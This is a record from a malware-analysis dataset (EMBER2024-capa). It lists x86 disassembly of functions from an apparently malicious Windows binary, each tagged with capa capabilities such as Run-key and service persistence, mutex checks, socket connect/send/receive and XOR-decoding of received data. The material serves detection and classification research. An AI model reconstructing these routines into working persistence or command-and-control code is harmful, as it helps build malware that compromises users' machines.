joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403370
Capabilities:
Delete registry value
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x80c
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x808], eax
mov eax, dword [esp + 0x81c]
push ebx
mov ebx, dword [esp + 0x81c]
push ebp
mov ebp, dword [esp + 0x818]
push esi
mov esi, dword [esp + 0x82c]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x3fe
push eax
lea eax, [esp + 0x21]
push eax
mov byte [esp + 0x24], 0x22
call edi
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [esp + eax + 0x18], 0x22
inc eax
mov byte [esp + eax + 0x18], 0
cmp esi, 0x400
jbe 0x4033f5
cmp byte [esi], 0
je 0x4033f5
mov byte [esp + eax + 0x18], 0x20
inc eax
mov edx, 0x3ff
sub edx, eax
push edx
push esi
lea eax, [esp + eax + 0x20]
push eax
call edi
lea ecx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
xor esi, esi
push ebp
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp eax, esi
jne 0x403418
mov eax, dword [esp + 0x10]
cmp eax, esi
jne 0x403441
lea edx, [esp + 0x10]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push ebp
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp eax, esi
jne 0x4034f8
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x4034f8
mov ecx, dword [esp + 0x824]
sub ecx, 0x65
je 0x4034a9
sub ecx, 1
je 0x403473
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 0x10]
mov esi, eax
neg esi
sbb esi, esi
push edx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x4034fa
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 1
push esi
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
mov esi, eax
neg esi
sbb esi, esi
push edx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x4034fa
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x41c]
push edx
push esi
push esi
push ebx
push eax
mov dword [esp + 0x2c], 0x3ff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4034e9
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x41c]
push ecx
call fcn.00403090
add esp, 8
mov esi, eax
neg esi
sbb esi, esi
neg esi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x4034fa
xor eax, eax
mov ecx, dword [esp + 0x818]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404bd3
add esp, 0x80c
ret
Function at 0x4035f0
Capabilities:
Check mutex on windows

Disassembly:
sub esp, 0x104
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x108]
push esi
xor esi, esi
cmp eax, 0x400
jbe 0x4036a9
cmp byte [eax], 0x2a
jne 0x403624
mov esi, 1
inc eax
cmp dword [0x40f05c], 0
je 0x40364c
test esi, esi
jne 0x4036a9
mov eax, dword [0x40f058]
pop esi
mov ecx, dword [esp + 0x100]
xor ecx, esp
call fcn.00404bd3
add esp, 0x104
ret
push eax
push str.Global
lea eax, [esp + 0xc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 4]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x40f05c], eax
test eax, eax
je 0x403691
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x40369b
cmp eax, 0xb7
jne 0x4036a5
jmp 0x40369b
mov dword [0x40f05c], 0xffffffff
mov dword [0x40f058], 1
test esi, esi
je 0x403631
mov eax, dword [0x40f05c]
test eax, eax
je 0x4036be
cmp eax, 0xffffffff
je 0x4036be
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x104]
mov eax, dword [0x40f058]
pop esi
xor ecx, esp
mov dword [0x40f05c], 0
mov dword [0x40f058], 0
call fcn.00404bd3
add esp, 0x104
ret

Function at 0x403890
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push esi
mov esi, dword [esp + 8]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [esi + 4], eax
test eax, eax
jne 0x4038b3
mov dword [esi], 0xffffffff
pop esi
ret 4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x4038d6
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
xor eax, eax
pop esi
ret 4
mov ecx, dword [esi + 4]
push 0x33
push ecx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x403901
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov eax, dword [esi]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
ret 4
mov eax, 1
pop esi
ret 4
Function at 0x403940
Capabilities:
Connect socket
Resolve dns

Disassembly:
sub esp, 0x18
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x24]
push edi
mov edi, dword [esp + 0x24]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 8], eax
test eax, eax
je 0x40397a
push 2
push 4
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x403989
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x403a47
cmp word [eax + 0xa], 4
jne 0x403a47
xor ecx, ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [edx]
mov dword [esp + 0x10], ecx
mov dx, word [eax + 8]
mov eax, dword [esp + 0x2c]
push eax
mov word [esp + 0x10], dx
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [edi]
push 0x10
lea ecx, [esp + 0x10]
push ecx
push edx
mov word [esp + 0x1a], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4039f6
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.00404bd3
add esp, 0x18
ret 0xc
mov eax, edi
call fcn.00403770
cmp eax, 0x2733
je 0x403a0b
cmp eax, 0x2734
jne 0x403a3c
push 0x4e20
push 0x10
push edi
call fcn.004037d0
test eax, eax
jle 0x403a3c
push 0x2710
push 2
push edi
call fcn.004037d0
pop edi
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.00404bd3
add esp, 0x18
ret 0xc
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404bd3
add esp, 0x18
ret 0xc

Function at 0x403a60
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi]
cmp eax, 0xffffffff
jne 0x403a72
xor eax, eax
pop esi
ret 0xc
cmp dword [esi + 4], 0
je 0x403a6c
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push edi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403aa1
mov eax, esi
call fcn.00403770
mov eax, edi
pop edi
pop esi
ret 0xc
test edi, edi
jne 0x403aaa
call fcn.00403740
mov eax, edi
pop edi
pop esi
ret 0xc
Function at 0x403b50
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [esp + 0x20]
mov ebx, dword [esp + 0x1c]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x10], eax
xor esi, esi
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx]
cmp eax, 0xffffffff
je 0x403bd6
cmp dword [ecx + 4], 0
je 0x403bd6
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call ebp
cmp eax, 1
jge 0x403b9f
mov eax, dword [esp + 0x18]
call fcn.00403770
jmp 0x403bb0
add esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x10], eax
call fcn.00401110
cmp esi, edi
jge 0x403bd6
mov eax, dword [esp + 0x10]
push eax
call fcn.00403080
add esp, 4
cmp eax, 0x4e20
jge 0x403bd6
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00403920
test eax, eax
jne 0x403b70
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x403c80
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x403caf
jmp 0x403c90
xor byte [esi + edi], cl
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
lea ecx, [ecx + ecx*2]
inc esi
add ecx, eax
cmp esi, ebx
jl 0x403c90
pop esi
ret
Function at 0x403d40
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x4c
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
push ebp
mov ebp, dword [esp + 0x58]
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
xor eax, eax
mov dword [esp + 0xc], eax
mov word [esp + 0x10], ax
mov byte [esp + 0x12], al
push 7
cmp dword [esp + 0x64], eax
je 0x403d83
lea eax, [esp + 0x10]
push eax
push ebp
call fcn.00403ac0
mov esi, eax
jmp 0x403dae
lea ecx, [esp + 0x10]
push ecx
push ebp
call fcn.00403a60
mov esi, eax
test esi, esi
jle 0x403dae
cmp esi, 7
jae 0x403db1
mov edx, 7
sub edx, esi
push edx
lea eax, [esp + esi + 0x10]
push eax
push ebp
call fcn.00403ac0
add esi, eax
cmp esi, 7
jne 0x403ec9
mov ecx, dword [esp + 0xc]
add ecx, 9
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x403ea8
mov edx, dword [esp + 0xc]
mov dword [esi], edx
mov ax, word [esp + 0x10]
mov word [esi + 4], ax
mov cl, byte [esp + 0x12]
mov byte [esi + 6], cl
mov eax, dword [esi]
push edi
test eax, eax
jbe 0x403e69
xor edi, edi
test eax, eax
jbe 0x403e3c
push ebp
call fcn.00403920
test eax, eax
je 0x403e3c
push ebx
call fcn.00403080
add esp, 4
cmp eax, 0x186a0
jge 0x403e3c
mov edx, dword [esi]
sub edx, edi
push edx
lea eax, [edi + esi + 7]
push eax
push ebp
call fcn.00403a60
test eax, eax
jle 0x403e2e
add edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
jmp 0x403e36
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, dword [esi]
je 0x403e69
jb 0x403df4
cmp dword [esi], edi
je 0x403e69
lea ecx, [esp + 0x18]
push ecx
push ebp
call fcn.00403be0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.00404bd3
add esp, 0x4c
ret 8
movzx ecx, word [esi + 4]
mov ebx, dword [esi]
lea edi, [esi + 7]
call fcn.00403c80
mov edx, dword [esi]
push edx
mov ecx, edi
call fcn.00403cc0
add esp, 4
cmp word [esi + 4], ax
je 0x403e91
lea eax, [esp + 0x18]
push eax
jmp 0x403e45
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.00404bd3
add esp, 0x4c
ret 8
lea ecx, [esp + 0x14]
push ecx
push ebp
call fcn.00403be0
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.00404bd3
add esp, 0x4c
ret 8
test esi, esi
jl 0x403ed8
lea edx, [esp + 0x14]
push edx
push ebp
call fcn.00403be0
mov ecx, dword [esp + 0x54]
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00404bd3
add esp, 0x4c
ret 8
Function at 0x404310
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [0x40f060]
test eax, eax
jne 0x4043a0
mov eax, dword [0x40e390]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
push eax
call esi
mov ecx, dword [0x40e38c]
push ecx
mov edi, eax
call esi
lea edx, [edi + eax + 8]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x40f060], eax
test eax, eax
je 0x40439e
mov ecx, dword [0x40e38c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0x40e390]
push edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00403090
add esp, 8
test eax, eax
mov eax, dword [0x40f060]
je 0x40439e
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x40b26c
push eax
call esi
mov ecx, dword [0x40e390]
mov edx, dword [0x40f060]
push ecx
push edx
call esi
mov eax, dword [0x40f060]
pop edi
pop esi
ret
Function at 0x4043b0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
sub esp, 0x138
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x134], eax
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x4043f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.00404bd3
add esp, 0x138
ret
push esi
push 0x107
lea eax, [esp + 0x38]
push 0
push eax
call fcn.00404c00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x39]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x35]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
mov al, 0x22
mov byte [esp + 0x34], al
mov byte [esp + esi + 0x34], al
inc esi
mov al, 0x20
mov byte [esp + esi + 0x34], al
mov byte [esp + esi + 0x35], 0x2f
inc esi
mov byte [esp + esi + 0x35], 0x73
inc esi
inc esi
mov byte [esp + esi + 0x34], 0x72
inc esi
mov byte [esp + esi + 0x34], 0x76
inc esi
mov byte [esp + esi + 0x34], al
call fcn.00404310
push eax
lea eax, [esp + esi + 0x39]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [str.Network_Services]
push 0x12
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4044ad
push eax
push eax
push eax
push eax
push eax
mov eax, dword [str.Network_Services]
lea edx, [esp + 0x48]
push edx
push 1
push 2
push 0x110
push 0xf01ff
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
je 0x40457e
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], eax
lea ecx, [esp + 8]
mov eax, 0x40b36e
push ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov eax, 0x493e0
push 2
push esi
mov dword [esp + 0x20], 3
mov dword [esp + 0x14], 0x258
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], 1
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], 1
call fcn.004036f0
add esp, 0xc
cmp dword [esp + 0x144], 0
je 0x404555
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x404555
push esi
jmp 0x404580
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
test esi, esi
je 0x404565
push esi
call edi
pop esi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.00404bd3
add esp, 0x138
ret
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x13c]
pop esi
pop edi
xor ecx, esp
call fcn.00404bd3
add esp, 0x138
ret
Function at 0x404610
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Get common file path
Get file attributes

Disassembly:
sub esp, 0x310
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x30c], eax
mov eax, dword [0x40e38c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00403090
add esp, 8
test eax, eax
je 0x404657
mov eax, 1
mov ecx, dword [esp + 0x30c]
xor ecx, esp
call fcn.00404bd3
add esp, 0x310
ret
push ebx
push esi
push edi
push 0x104
lea ecx, [esp + 0x10]
push 0
push ecx
call fcn.00404c00
push 0x104
lea edx, [esp + 0x120]
push 0
push edx
call fcn.00404c00
push 0x104
lea eax, [esp + 0x230]
push 0
push eax
call fcn.00404c00
add esp, 0x24
push 0x104
lea ecx, [esp + 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x110]
push eax
call edi
mov esi, eax
mov bl, 0x5c
cmp byte [esp + esi + 0x10f], bl
je 0x4046e0
mov byte [esp + esi + 0x110], bl
inc esi
push ebp
call fcn.00402e90
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
lea ecx, [esp + esi + 0x118]
push ecx
call ebp
lea edx, [esp + 0x218]
push edx
push 0
push 0
push 0x23
push 0
call fcn.00403100
add esp, 0x14
lea eax, [esp + 0x218]
push eax
call edi
mov esi, eax
cmp byte [esp + esi + 0x217], bl
je 0x40472c
mov byte [esp + esi + 0x218], bl
inc esi
call fcn.00402e90
push eax
lea ecx, [esp + esi + 0x21c]
push ecx
call ebp
push 0
lea edx, [esp + 0x118]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.004045b0
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
test eax, eax
je 0x40476f
push 0
push 0
call fcn.00404310
push eax
lea ecx, [esp + 0x11c]
push ecx
jmp 0x4047ac
lea edx, [esp + 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4047b5
push 0
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push ecx
call fcn.004045b0
test eax, eax
je 0x4047b5
push 0
push 0
call fcn.00404310
push eax
lea edx, [esp + 0x220]
push edx
push str.open
push 0
call esi
push 0x40b45c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00403090
add esp, 8
test eax, eax
je 0x404829
xor eax, eax
nop
cmp byte [esp + eax + 0xc], bl
je 0x404810
cmp byte [esp + eax + 0xd], bl
je 0x4047fa
cmp byte [esp + eax + 0xe], bl
je 0x4047fd
cmp byte [esp + eax + 0xf], bl
je 0x404802
cmp byte [esp + eax + 0x10], bl
je 0x404807
add eax, 5
cmp eax, 0x104
jb 0x4047d0
jmp 0x40480a
inc eax
jmp 0x40480a
add eax, 2
jmp 0x40480a
add eax, 3
jmp 0x40480a
add eax, 4
cmp byte [esp + eax + 0xc], bl
jne 0x404829
push 5
push 0
push 0
mov byte [esp + eax + 0x19], 0
lea eax, [esp + 0x18]
push eax
push str.open
push 0
call esi
mov ecx, dword [esp + 0x318]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00404bd3
add esp, 0x310
ret
Function at 0x404850
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x24c
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x248], eax
push esi
push edi
mov edi, edx
mov al, byte [ecx]
cmp al, 0x20
je 0x40487a
cmp al, 0xd
je 0x40487a
cmp al, 0xa
je 0x40487a
cmp al, 9
jne 0x404880
inc ecx
jmp 0x404868
mov al, byte [edi]
cmp al, 0x20
je 0x404892
cmp al, 0xd
je 0x404892
cmp al, 0xa
je 0x404892
cmp al, 9
jne 0x404895
inc edi
jmp 0x404880
lea esi, [esp + 0x48]
xor edx, edx
sub esi, ecx
lea ecx, [ecx]
mov al, byte [ecx]
test al, al
je 0x4048b7
cmp al, 0x20
je 0x4048b7
mov byte [esi + ecx], al
inc edx
inc ecx
cmp edx, 0x103
jb 0x4048a0
lea esi, [esp + 8]
xor ecx, ecx
mov byte [esp + edx + 0x48], 0
mov eax, edi
sub esi, edi
mov dl, byte [eax]
test dl, dl
je 0x4048db
cmp dl, 0x20
je 0x4048db
mov byte [esi + eax], dl
inc ecx
inc eax
cmp ecx, 0x3f
jb 0x4048c6
push 0x104
lea eax, [esp + 0x150]
push 0
push eax
mov byte [esp + ecx + 0x14], 0
call fcn.00404c00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x150]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x154]
push ecx
call fcn.004045b0
test eax, eax
jne 0x404956
push 0x1388
call edi
inc esi
cmp esi, 0x4e20
jl 0x404914
pop edi
pop esi
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.00404bd3
add esp, 0x24c
ret
push 0
push 0
call fcn.00404310
push eax
lea edx, [esp + 0x54]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.004024d0
mov ecx, dword [esp + 0x250]
pop edi
pop esi
xor ecx, esp
call fcn.00404bd3
add esp, 0x24c
ret
Function at 0x404990
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x158
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x154], eax
push esi
push edi
xor edi, edi
mov dword [0x40f02c], edi
mov eax, dword [0x40f02c]
push edi
mov dword [0x40f030], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x40f034], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x40f028], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp esi, edi
je 0x4049e8
push 0x64
push esi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
test eax, eax
je 0x4049ed
mov esi, 0x40b36e
push 0x40b468
push esi
call fcn.00403090
add esp, 8
test eax, eax
je 0x404a51
call fcn.00402d40
call fcn.00404310
push eax
push 0x67
push getpeername
call fcn.00403520
call fcn.00404310
push eax
push 0x67
push getpeername
call fcn.00403520
add esp, 0x18
push 0x144
lea ecx, [esp + 0x1c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 4
lea edx, [esp + 0x1c]
push edi
push edx
call fcn.004035a0
add esp, 0xc
jmp 0x404b95
push 0x40b2cc
push esi
call fcn.00403090
add esp, 8
test eax, eax
je 0x404aa4
push 0x40b2d0
push esi
call fcn.00403090
add esp, 8
test eax, eax
je 0x404aa4
push 0x40b2d0
push esi
call fcn.00403090
mov edi, eax
push 0x40b2cc
push esi
add edi, 3
call fcn.00403090
mov ecx, eax
add esp, 0x10
add ecx, 3
mov edx, edi
call fcn.00404850
jmp 0x404b95
push str._srv
push esi
call fcn.00403090
add esp, 8
test eax, eax
je 0x404b2d
mov eax, dword [str.Network_Services]
mov esi, 1
mov dword [0x40f02c], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x402e00
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
call fcn.00401000
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
mov dword [0x40f030], esi
call fcn.004024d0
call sub.WS2_32.dll_WSACleanup
cmp dword [0x40f008], edi
je 0x404b95
mov edx, dword [0x40f02c]
test edx, edx
je 0x404b95
mov eax, dword [0x40f008]
push 0x40f00c
push eax
mov dword [0x40f010], esi
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
jmp 0x404b95
call fcn.00404610
test eax, eax
je 0x404b95
mov ecx, dword [0x40e38c]
push ecx
push esi
call fcn.00403090
neg eax
sbb eax, eax
inc eax
push eax
call fcn.004043b0
call fcn.00404310
push eax
push 0x66
push getpeername
call fcn.00403520
add esp, 0x18
test eax, eax
jne 0x404b7c
call fcn.00404310
push eax
push 0x66
push getpeername
call fcn.00403520
add esp, 0xc
mov edx, dword [0x40e390]
push edx
push esi
call fcn.00403090
add esp, 8
test eax, eax
jne 0x404b95
call fcn.004042e0
mov ecx, dword [esp + 0x15c]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404bd3
add esp, 0x158
ret 0x10

Function at 0x404bd3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40e398]
jne 0x404bdd
repz ret
jmp fcn.0040532d